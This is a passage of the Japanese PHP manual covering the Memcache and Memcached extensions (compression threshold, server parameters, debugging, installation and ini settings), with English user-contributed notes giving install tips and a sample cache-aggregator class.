Memcache::setCompressThreshold ( int $threshold , float $min_savings = ? ) : bool

Memcache::setCompressThreshold() は、 大きな値に対して自動圧縮処理を有効にします。 memcache_set_compress_threshold() 関数を使用することも可能です。

注意:

この関数は、Memcache バージョン 2.0.0 で追加されました。

パラメータ

threshold

自動圧縮を試みる値の長さの最小値を指定します。

min_saving

値を圧縮する際の、最小の圧縮率を指定します。 値は 0 から 1 までの間で指定する必要があります。 デフォルト値は 0.2 で、最低 20% の圧縮を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::setCompressThreshold() の例

<?php

/* オブジェクト指向の API */

$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->setCompressThreshold(20000, 0.2);

/* 手続き型の API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_compress_threshold($memcache_obj, 20000, 0.2);

?>

User Contributed Notes

spam at croler dot net 25-Nov-2013 03:41
The strangest thing is that you don't supply a server as parameter to setCompressThreshold(), so the value should be related to the memcache module, not the server itself. However it's required that you have added a server before you can set compress threshold.  The documentation does not specify if  the servers that are added after the call to this function will have the set value. I would test it and post, but  since it's not documented the behavior could change.
So if you want to be sure -> set the threshold every time you add a server.


サーバーのパラメータおよび状態を、実行時に変更する

  • ≪ Memcache::setCompressThreshold
  • Memcache 関数 ≫
  • PHP Manual
  • Memcache
  • サーバーのパラメータおよび状態を、実行時に変更する

Memcache::setServerParams

(PECL memcache >= 2.1.0)

Memcache::setServerParams — サーバーのパラメータおよび状態を、実行時に変更する

説明

Memcache::setServerParams ( string $host , int $port = 11211 , int $timeout = ? , int $retry_interval = false , bool $status = ? , callable $failure_callback = ? ) : bool

Memcache::setServerParams() は、 サーバーのパラメータを実行時に変更します。 memcache_set_server_params() 関数を使用することも可能です。

注意:

この関数は、Memcache バージョン 2.1.0 で追加されました。

パラメータ

host

memcached が接続を待ち受けるホストを指定します。

port

memcached が接続を待ち受けるポートを指定します。

timeout

デーモンへの接続の際に使用する値 (秒単位) です。 デフォルト値を 1 秒でも変更する前には十分注意してください。 接続が遅くなってしまうと、 キャッシュ処理のメリットが なくなってしまいます。

retry_interval

サーバーとの接続が失敗した際に再試行を行う頻度を設定します。 デフォルト値は 15 秒です。このパラメータを -1 にすると、 自動的な再試行を行いません。 dl() を使用してこの拡張モジュールが動的に 読み込まれている場合は、このパラメータおよび persistent は何の効果も及ぼしません。

status

サーバーがオンライン状態であるかどうかを制御します。このパラメータを false にし、retry_interval を -1 と設定すると、失敗したサーバーもコネクションプールに残します。 これにより、キー配布アルゴリズムに影響を与えないようにします。 このサーバーへのリクエストは、フェイルオーバーされるか失敗します。 どちらになるかは memcache.allow_failover の設定によって決まります。デフォルトは true で、 サーバーがオンライン状態であることを意味します。

failure_callback

エラーが発生した際に実行されるコールバック関数を指定できるようにします。 コールバック関数は、フェイルオーバー処理の前に実行されます。 この関数は、ふたつの引数 (ホスト名、失敗したサーバーのポート) を受け取ります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::setServerParams() の例

<?php

function _callback_memcache_failure($host, $port) {
    print "memcache '$host:$port' failed";
}

/* オブジェクト指向の API */

$memcache = new Memcache;

// サーバーをオフラインモードで追加します
$memcache->addServer('memcache_host', 11211, false, 1, 1, -1, false);

// サーバーをオンラインに変更します
$memcache->setServerParams('memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

/* 手続き型の API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_server_params($memcache_obj, 'memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

?>

参考

  • Memcache::addServer() - コネクションプールに memcached サーバーを追加する
  • Memcache::getServerStatus() - サーバーの状態を返す

User Contributed Notes

There are no user contributed notes for this page.


Memcache 関数

目次

  • memcache_debug — デバッグ出力のオン/オフを切り替える

User Contributed Notes

dweller at devonweller dot com 18-Nov-2009 09:02
In the memcache PECL extension version 2.2.5, the delete function does not work with memcached 1.4.3.  To work around this, here is a version of the memcache PECL extension with a patch provided by harv at pringo dot com applied:

http://code.google.com/p/phpmemcachepatch/downloads/list

To install: download

http://phpmemcachepatch.googlecode.com/files/memcache-2.2.5b.tgz

and do:

pecl install memcache-2.2.5b.tgz
restlessmind at I dot gmail dot HATE dot com dot SPAM 19-Feb-2008 01:50
If you are trying install this module for PHP 5.2 under Windows but it won't load on startup, make sure you have all your dependencies including the correct thread-safety build of PHP.

For hours I tried to track down why I couldn't load php_memcache.dll, and finally used Dependency Walker (from http://www.dependencywalker.com) on the .dll file.  This made me realize that while I was using the version of PHP 5.2.5 that was non-thread safe, the .dll offered by pecl4win was expecting the thread safe version of PHP.  Once I rectified this, everything worked fine.
contact at codeassembly dot com 30-Jan-2008 06:28
Note that there is no way to have your own hashing mechanism, the best way to group a set of objects to a server is to manually select the server to use.

I want to keep all objects for a certain user on the same server.

user_54_description
user_54_info
user_54_comments
user_54_etc
.
.

If I have all these objects on the same server I can get all data with only one call to memcache -> get (get_multi), so this improves performance a lot.

The way I do this is by hashing the User/Object id to to the number of servers.

<?php
$memcache_hosts = array
(
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5',
);

$server = $id % count($memcache_hosts);

$memcache = new Memcache;
$memcache->connect($memcache_hosts[$server], 11211);

//get or set your objects here
?>

You can leave other objects that you don't want to group to memcache extension to hash and select the appropiate server.
mogmios at gmail dot com 30-Sep-2007 09:03
When installing the memcache module for Apache/PHP with a non-standard location it seems like there is no way to define the location when configuring for build. You'll get an error complaining about being unable to find php_session.h. I modified configure to try the PREFIX location too and that seems to have worked fine.

    if test -f "${prefix}/include/php/ext/session/php_session.h"; then
      session_inc_path="${prefix}/include/php"
    elif test -f "$abs_srcdir/include/php/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir/include/php"
    elif test -f "$abs_srcdir/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir"
    elif test -f "$phpincludedir/ext/session/php_session.h"; then
      session_inc_path="$phpincludedir"
    fi
Colin Guthrie 23-Aug-2007 02:57
I have noticed a bug/documentation error:

The above docs say the following about the session.save_path arguement:
"Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. "

addServer method's docs say:
"port

    Point to the port where memcached is listening for connections. This parameter is optional and its default value is 11211. Set this parameter to 0 when using UNIX domain sockets. "

However when specifying the save_path, I have found that with PHP 5.2.3 and memcache 2.1.2 that the port is a *required* part of the string.

Hope that helps some people scratching their heads.
markfrawley at gmail dot com 26-Jun-2007 01:10
Here is a PHP4 backport of the above MemcacheAggregator class:

<?php
class MemcachedAggregator {
    var $connections;
    var $_servers;

    function MemcachedAggregator($servers) {
        $this->_servers = $servers;
        // Attempt to establish/retrieve persistent connections to all servers.
        // If any of them fail, they just don't get put into our list of active
        // connections.
        $this->connections = array();
        for ($i = 0, $n = count($servers); $i < $n; $i++) {
            $server = $servers[$i];
            $con = memcache_connect($server['host']);
            //memcache_debug(1);
            //$memcache = &new Memcache;
            //$con = $memcache->connect($server['host']);
            if (!($con == false)) {
                $this->connections[] = &$con;
            }

        }
    }

    function _getConForKey($key) {
        $hashCode = 0;
        for ($i = 0, $len = strlen($key); $i < $len; $i++) {
            $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
        }
        if (($ns = count($this->connections)) > 0) {
            return $this->connections[$hashCode%$ns];
            //return $this->connections[0];
        }
        return false;
    }

    function debug($on_off) {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->debug($on_off)) $result = true;
        }
        return $result;
    }

    function flush() {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->flush()) $result = true;
        }
        return $result;
    }

    /// The following are not implemented:
    ///getStats()
    ///getVersion()

    function get($key) {
        if (is_array($key)) {
            $dest = array();
            foreach ($key as $subkey) {
            $val = get($subkey);
            if (!($val === false)) $dest[$subkey] = $val;
            }
            return $dest;
        } else {
            $conn = &$this->_getConForKey($key);
            return $conn->get($key);
        }
    }

    function set($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->set($key, $var, $compress, $expire);
    }

    function add($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->add($key, $var, $compress, $expire);
    }

    function replace($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->replace($key, $var, $compress, $expire);
    }

    function delete($key, $timeout=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->delete($key, $timeout);
    }

    function increment($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->increment($key, $value);
    }

    function decrement($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->decrement($key, $value);
    }

    function showStats($server=null) {
        $stats_out = '';
        if($server == null) {
            $i=0;
            foreach($this->connections as $conn) {
                $server = $this->_servers[$i];
                $stats_array = memcache_get_stats($conn);
                $stats_out .= "</br><b>Server: ".$server['host'].": </b><br/>";
                foreach($stats_array as $key => $val) {
                    $stats_out .= "$key => $val <br/>";
                }
                $i++;
            }
        }
        return $stats_out;
    }
}
?>
moazzamk at gmail dot com 18-May-2007 03:25
You can't call parent::__construct() in the constructor of your class if you are extending the memcache class. However, not running the constructor still initiates it and works fine.

<?php

// wrong

class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

//correct
class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

?>

I am guessing this applies to all native/PECL classes.
gil at squidoo dot com 10-Apr-2007 02:45
There is a tiny bug in the Aggregator class when using the flush() function. The reference to $connections should be $this->connections.

Change:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}

To:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($this->connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}
jcastromail at yahoo dot es 08-Jan-2007 05:28
Hi there:

For run memcached in a windows box: (tested with latest php,apache and memcache in xp sp2)

a) download the php_memcache.dll it can be found in the pecl file.

b) put the dll in the extension folder (c:/php/extension for example). You cannot miss this folder because they are filled with php*.dll files.  In some cases the extension folder used is the system32, a non-standard way to put dll but still works.

c)configure the php.ini
; i put this like the latest extension
extension=php_memcache.dll

; i'm not sure about this but don't hurts..
[Memcache]
memcache.allow_failover = 1
memcache.max_failover_attempts=20
memcache.chunk_size =8192
memcache.default_port = 11211

d)This is important, memcached works with a EXTERNAL service. This service must be downloaded and installed prior to use the memcache.  I use:  http://jehiah.cz/projects/memcached-win32/

e)Remember to install the service and to start the service memcached.exe -d install for install and run services.msc for start the memcached service (or restart the system).

f) check the firewall ports.

Finally restart the apache/iis and runs some test. At least in phpinfo must show some info about the memcache.

Final notes :The "awe" about memcache is not only can help for speed some process (or reduce the cpu use), also can be used like a global session for store a whole object also this "global session" is shared among all the users, like APPLICATION used in ASP.  So (for example) it's possible to do a user counter without needing of database or writing a file.
ed at me3inc dot com 26-Oct-2006 02:47
Re. Installing the memcache extension:

I had all kinds of troubles getting it hooked up, because in all of the instructions I read I never got the last, most important step - you must have a php.ini and have in it "extension=memcache.so."

So, the steps:
First - ./configure with --enable-memcache. This should show in your phpinfo() at the top (even though nothing of the memcache extension works yet).

Second:
either pecl install memcache
OR
download the source
tar -xzvf [thesourcetarball]
phpize
./configure
make
make install

Finally: Add extension=memcache.so to your php.ini. (If you don't have one, it should go in the root of where php is called ie., /usr/local/lib)

Call phpinfo() and you should see a memcache section.
iliya at pisem dot net 19-Jan-2006 12:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Ron 14-Sep-2005 01:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

        $con = $this->_getConForKey($key);
        if ($con === false) return false;
        return $con->get($key);

Similarly, the affected code in the set() function would look like this:
    $con = $this->_getConForKey($key);
    if ($con === false) return false;
    return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron 14-Sep-2005 10:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
    var $connections;

    public function __construct($servers) {
    // Attempt to establish/retrieve persistent connections to all servers.
    // If any of them fail, they just don't get put into our list of active
    // connections.
    $this->connections = array();
    for ($i = 0, $n = count($servers); $i < $n; $i++) {
        $server = $servers[$i];
        $con = memcache_pconnect($server['host'], $server['port']);
        if (!($con == false)) {
        $this->connections[] = $con;
        }
    }
    }

    private function _getConForKey($key) {
    $hashCode = 0;
    for ($i = 0, $len = strlen($key); $i < $len; $i++) {
        $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
    }
    if (($ns = count($this->connections)) > 0) {
        return $this->connections[$hashCode%$ns];
    }
    return false;
    }

    public function debug($on_off) {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->debug($on_off)) $result = true;
    }
    return $result;
    }

    public function flush() {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->flush()) $result = true;
    }
    return $result;
    }

/// The following are not implemented:
///getStats()
///getVersion()

    public function get($key) {
    if (is_array($key)) {
        $dest = array();
        foreach ($key as $subkey) {
        $val = get($subkey);
        if (!($val === false)) $dest[$subkey] = $val;
        }
        return $dest;
    } else {
        return $this->_getConForKey($key)->get($key);
    }
    }

    public function set($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
    }

    public function add($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
    }

    public function replace($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->replace
        ($key, $var, $compress, $expire);
    }

    public function delete($key, $timeout=0) {
    return $this->_getConForKey($key)->delete($key, $timeout);
    }

    public function increment($key, $value=1) {
    return $this->_getConForKey($key)->increment($key, $value);
    }

    public function decrement($key, $value=1) {
    return $this->_getConForKey($key)->decrement($key, $value);
    }

}
?>


デバッグ出力のオン/オフを切り替える

  • ≪ Memcache 関数
  • Memcached ≫
  • PHP Manual
  • Memcache 関数
  • デバッグ出力のオン/オフを切り替える

memcache_debug

(PECL memcache >= 0.2.0)

memcache_debug — デバッグ出力のオン/オフを切り替える

説明

memcache_debug ( bool $on_off ) : bool

memcache_debug() は、パラメータ on_off が true の場合にデバッグ出力を有効にし、 false の場合には無効にします。

注意:

memcache_debug() は、PHP が --enable-debug オプションをつけてビルドされている場合にのみ使用可能で、 この場合は常に true を返します。そうでない場合は、この関数は 何も行わずに常に false を返します。

パラメータ

on_off

true にすると、デバッグ出力をオンにします。 false にすると、デバッグ出力をオフにします。

返り値

PHP が --enable-debug オプションをつけてビルドされている場合に true、それ以外の場合に false を返します。

User Contributed Notes

csongor at halmai dot hu 15-Jul-2014 12:43
In PHP 5.5.14 this function returns NULL (not TRUE or FALSE). I have no information about other PHP releases.
markus at buyways dot nl 22-Oct-2009 02:39
This method is deprecated in at least PHP 5.2.6

memcache_debug() [<a href='function.memcache-debug'>function.memcache-debug</a>]: memcache_debug() is deprecated, please use a debugger (like Eclipse + CDT)


Memcached

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 有効期限
  • コールバック
    • Result コールバック
    • Read-through キャッシュコールバック
  • セッションのサポート
  • Memcached — Memcached クラス
    • Memcached::add — アイテムを新しいキーで追加する
    • Memcached::addByKey — 指定したサーバーにアイテムを新しいキーで追加する
    • Memcached::addServer — サーバーをサーバープールに追加する
    • Memcached::addServers — 複数のサーバーをサーバープールに追加する
    • Memcached::append — データを既存のアイテムに追記する
    • Memcached::appendByKey — 指定したサーバーでデータを既存のアイテムに追記する
    • Memcached::cas — アイテムを比較して入れ替える
    • Memcached::casByKey — 指定したサーバーでアイテムを比較して入れ替える
    • Memcached::__construct — Memcached のインスタンスを作成する
    • Memcached::decrement — 数値アイテムの値を減らす
    • Memcached::decrementByKey — 指定したサーバー上にある数値アイテムの値を減らす
    • Memcached::delete — アイテムを削除する
    • Memcached::deleteByKey — 指定したサーバーからアイテムを削除する
    • Memcached::deleteMulti — 複数のアイテムを削除する
    • Memcached::deleteMultiByKey — 指定したサーバーから複数のアイテムを削除する
    • Memcached::fetch — 次の結果を取得する
    • Memcached::fetchAll — 残りのすべての結果を取得する
    • Memcached::flush — キャッシュ内のすべてのアイテムを無効にする
    • Memcached::get — アイテムを取得する
    • Memcached::getAllKeys — すべてのサーバーのキーを取得する
    • Memcached::getByKey — 指定したサーバーからアイテムを取得する
    • Memcached::getDelayed — 複数のアイテムを要求する
    • Memcached::getDelayedByKey — 指定したサーバーに複数のアイテムを要求する
    • Memcached::getMulti — 複数のアイテムを取得する
    • Memcached::getMultiByKey — 指定したサーバーから複数のアイテムを取得する
    • Memcached::getOption — Memcached のオプションの値を取得する
    • Memcached::getResultCode — 直近の操作の結果コードを返す
    • Memcached::getResultMessage — 最後に実行した操作の結果を説明したメッセージを返す。
    • Memcached::getServerByKey — キーとサーバーを関連付ける
    • Memcached::getServerList — プール内のサーバーの一覧を取得する
    • Memcached::getStats — サーバープールの統計情報を取得する
    • Memcached::getVersion — サーバープールのバージョン情報を取得する
    • Memcached::increment — 数値アイテムの値を増やす
    • Memcached::incrementByKey — 指定したサーバー上にある数値アイテムの値を増やす
    • Memcached::isPersistent — memcache への接続で持続的接続を使っているかどうかを調べる
    • Memcached::isPristine — 直近に作られたインスタンスかどうかを調べる
    • Memcached::prepend — 既存のアイテムの前にデータを付加する
    • Memcached::prependByKey — 指定したサーバーで既存のアイテムの前にデータを付加する
    • Memcached::quit — 開いている接続を閉じる
    • Memcached::replace — 既存のキーのアイテムを入れ替える
    • Memcached::replaceByKey — 指定したサーバーで既存のキーのアイテムを入れ替える
    • Memcached::resetServerList — サーバーリストからすべてのサーバーを消去する
    • Memcached::set — アイテムを格納する
    • Memcached::setByKey — 指定したサーバーにアイテムを格納する
    • Memcached::setMulti — 複数のアイテムを格納する
    • Memcached::setMultiByKey — 指定したサーバーで複数のアイテムを格納する
    • Memcached::setOption — Memcached のオプションの値を設定する
    • Memcached::setOptions — Memcached のオプションの値を設定する
    • Memcached::setSaslAuthData — 認証用の資格情報を設定する
    • Memcached::touch — アイテムに新しい有効期限を設定する
    • Memcached::touchByKey — 指定したサーバー上のアイテムに新しい有効期限を設定する
  • MemcachedException — MemcachedException クラス

User Contributed Notes

Moradnejad 07-Dec-2020 12:54
## Installing Memcached on Ubuntu

To install Memcached on Ubuntu, go to terminal and type the following commands ?

$sudo apt-get update
$sudo apt-get install memcached

## Confirming Memcached Installation

To confirm if Memcached is installed or not, you need to run the command given below. This command shows that Memcached is running on the default port 11211.

$ps aux | grep memcached

To run Memcached server on a different port, execute the command given below. This command starts the server on the TCP port 11111 and listens on the UDP port 11111 as a daemon process.

$memcached -p 11111 -U 11111 -u user -d

You can run multiple instances of Memcached server through a single installation.
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:59
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}
davidt 03-Jan-2013 01:14
The module also supports SASL authentication, it just isn't documented sadly. You'll need to run the following code:

<?php
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("user-1", "pass");
?>

You need to enable the "memcached.use_sasl = 1" ini option for memcached in the php.ini file.
joelhy 22-May-2011 08:27
For those confuse about the memcached extension and the memcache extension, the short story is that both of them are clients of memcached server, and the memcached extension offer more features than the memcache extension.


はじめに

» memcached は、 ハイパフォーマンスな分散型メモリオブジェクトキャッシュシステムです。汎用的ですが、 データベース読み込みの負荷を軽減することで動的なウェブアプリケーションの速度を向上させることを意図しています。

この拡張モジュールは、libmemcached ライブラリを使用して memcached サーバーとの通信用の API を提供しています。 また、セッション ハンドラ (memcached) も用意しています。

libmemcached に関する情報は » http://libmemcached.org/libMemcached.html をご覧ください。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールには » libmemcached クライアントライブラリ (バージョン 1.0.0 以降) が必要です。 SASL 認証に対応するには、libmemcached をビルドするときに SASL を有効にしておかないといけません。

バージョン 0.2.0 以降、この拡張モジュールは PHP 5.2.0 以降が必須となりました。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/memcached.

libmemcached のインストール先が標準の場所とは異なる場合は --with-libmemcached-dir=DIR スイッチを使用します。 ここで、DIR は libmemcached のインストールプレフィックスを表します。 このディレクトリ内に include/libmemcached/memcached.h がなければなりません。

圧縮をサポートするには Zlib が必要です。Zlib のインストール先が標準の場所とは異なる場合は、--with-zlib-dir=DIR スイッチを使用します。 ここで、DIR は Zlib のインストールプレフィックスを表します。

セッションハンドラのサポートはデフォルトで有効となります。これを無効にするには --disable-memcached-session スイッチを使用します。

SASL 認証のサポートはデフォルトで無効になっています。これを有効にするには --enable-memcached-sasl スイッチを使用します。 このスイッチを使うには、libsasl2 がインストールされていて、 かつ libmemcached のビルド時に SASL のサポートを有効にしておく必要があります。

User Contributed Notes

info at kgsw dot de 19-Jun-2019 08:35
For PHP 7 seems to work:

    $ sudo apt-get install memcached
    $ sudo apt-get install php-memcached
    $ sudo apachectl graceful

## php 7.2.19 / ubuntu 18.04.1

$mc = new Memcached();
$mc->addServer("localhost", 11211);
...
qeremy [at] gmail [dot] com 21-Feb-2012 09:32
Do not lose your time to install it on Ubuntu just trying "sudo apt-get install php5-memcached". There is something you need to do that sure installing memcached. Anyway...

Step 1.
$ sudo apt-get install memcached
Step 2.
$ sudo apt-get install php5-memcached
Step 3.
$ sudo /etc/init.d/apache2 restart

Ready!

What about some test?

<?php
error_reporting(E_ALL & ~E_NOTICE);

$mc = new Memcached();
$mc->addServer("localhost", 11211);

$mc->set("foo", "Hello!");
$mc->set("bar", "Memcached...");

$arr = array(
    $mc->get("foo"),
    $mc->get("bar")
);
var_dump($arr);
?>

Hoping to help someone.
~Kerem
petermiller1986 att gmail dotttttttt com 11-Feb-2012 07:09
i'm planning on using membase for my website and i was really struggling to install the memcashed php client on ubuntu with pear, but actually there is an easier way:

$ sudo apt-get install php5-memcached

you dont even need to install the membase server first - this can be done afterwards. hope this helps someone!
gpuk at dasserver dot com 02-Mar-2010 01:50
At present memcached-1.0.0 does not compile with libmemcached-0.38. This is apparently due to libmemcached chaning the API.

For evidence, see this bug: http://pecl.php.net/bugs/bug.php?id=17070

Note: I am encountering the same 'memcached_st' has no member named 'hash' error on a Debian lenny amd_64 box.
Clint Priest 09-Nov-2009 10:53
If your server has --enable-json=shared as mine did, this extension requires you to have extension=json.so to load properly.


実行時設定

php.ini の設定により動作が変化します。

Memcached 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
memcached.sess_locking | On | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.sess_consistent_hash | On | PHP_INI_ALL | memcached 2.1.0 以降で利用可能です。memcached 3.0.0 以降は、デフォルト値はOnです。
memcached.sess_binary | Off | PHP_INI_ALL | memcached 2.0.0 以降で利用可能です。memcached 3.0.0 以降は、memcached.sess_binary_protocol に置き換えられました。
memcached.sess_lock_wait | 150000 | PHP_INI_ALL | memcached 0.1.0 以降で利用可能ですが、memcached 3.0.0 以降では削除されています。
memcached.sess_prefix | memc.sess.key. | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.sess_number_of_replicas | 0 | PHP_INI_ALL | memcached 2.1.0 以降で利用可能です。
memcached.sess_randomize_replica_read | Off | PHP_INI_ALL | memcached 2.1.0 以降で利用可能です。
memcached.sess_remove_failed | On | PHP_INI_ALL | memcached 2.1.0 以降で利用可能です。memcached 3.0.0 以降は、memcached.sess_remove_failed_servers に置き換えられました。
memcached.compression_type | fastlz | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.compression_factor | 1.3 | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.compression_threshold | 2000 | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.serializer | igbinary | PHP_INI_ALL | memcached 0.1.0 以降で利用可能です。
memcached.use_sasl | Off | PHP_INI_ALL | memcached 2.2.0 以降で利用可能ですが、memcached 3.0.0 以降では削除されています。
memcached.default_binary_protocol | Off | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.default_connect_timeout | 0 | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.default_consistent_hash | Off | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.sess_binary_protocol | On | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。memcached.sess_binary を置き換えるものです。
memcached.sess_connect_timeout | 1000 | PHP_INI_ALL | memcached 2.2.0 以降で利用可能です。
memcached.sess_consistent_hash_type | ketama | PHP_INI_ALL | memcached 3.1.0 以降で利用可能です。
memcached.sess_lock_expire | 0 | PHP_INI_ALL | memcached 2.2.0 以降で利用可能です。
memcached.sess_lock_retries | 5 | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.sess_lock_wait_max | 150 | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。デフォルト値は memcached 3.1.0 以降は 150 です (それより前のバージョンでは 2000 でした)。
memcached.sess_lock_wait_min | 150 | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。デフォルト値は memcached 3.1.0 以降は 150 です (それより前のバージョンでは 1000 でした)。
memcached.sess_persistent | Off | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.sess_remove_failed_servers | Off | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。memcached.sess_remove_failed を置き換えるものです。
memcached.sess_server_failure_limit | 0 | PHP_INI_ALL | memcached 3.0.0 以降で利用可能です。
memcached.sess_sasl_password | null | PHP_INI_ALL | memcached 2.2.0 以降で利用可能です。
memcached.sess_sasl_username | null | PHP_INI_ALL | memcached 2.2.0 以降で利用可能です。
memcached.store_retry_count | 2 | PHP_INI_ALL | memcached 2.2.0 以降で利用可能です。

以下に設定ディレクティブに関する 簡単な説明を示します。

memcached.sess_locking bool

セッション単位のロックを使う。設定値として On, Off が使えます。デフォルトは ON です。

memcached.sess_consistent_hash bool

On にすると、セッション管理に コンシステント・ハッシュ法 (libketama) を使います。 コンシステント・ハッシュ法を使うと、既存のキーに煩わされることなく ノードを追加したり削除したりできます。デフォルトは On です。

memcached.sess_binary bool

セッション管理にmemcachedのバイナリプロトコルを使います。 Libmemcached のレプリカはこのバイナリモードが有効になっている場合にのみ動作します。 デフォルトは Off です。

memcached.sess_lock_wait int

セッションデータを書き込むときの spin lock の待ち時間をマイクロ秒単位で指定します。 この値を設定するときは注意してください。数値の値が設定できますが、 0 はデフォルトの値を使うと解釈されます。負の値を設定するとロックを掛けようと試みる 回数が減ってしまいます。デフォルトは 150000 です。

memcached.sess_prefix string

セッション管理に使うキーのプレフィックスです。 219バイト以下の文字列が使えます。デフォルトの値は "memc.sess.key" です。

memcached.sess_number_of_replicas int

データを書き込む、 追加の memcached サーバの数を指定します。 これは、libmemcached が "poor man's HA" と呼んでいるものです。 この値が0より大きく、sess_remove_failed_servers が On の場合、 memcached サーバがダウンした時にセッションはレプリカを使って継続されます。 しかし、ダウンした memcached サーバが再び復帰した場合は、 セッションは古いデータを持つセッションを読みとる場合もありますし、 データを全く読み取れない場合もあります。デフォルト値は 0 です。

memcached.sess_randomize_replica_read bool

複数のサーバのレプリカからセッションデータを読み取る際、読み取りを始める最初のサーバをランダムに選ぶかを指定します。

memcached.sess_remove_failed int

通信に失敗した memcached サーバを自動的にサーバリストから外すかを指定します。

memcached.compression_type string

圧縮のタイプを指定します。fastlz か zlib が指定できます。デフォルトは fastlz です。

memcached.compression_factor float

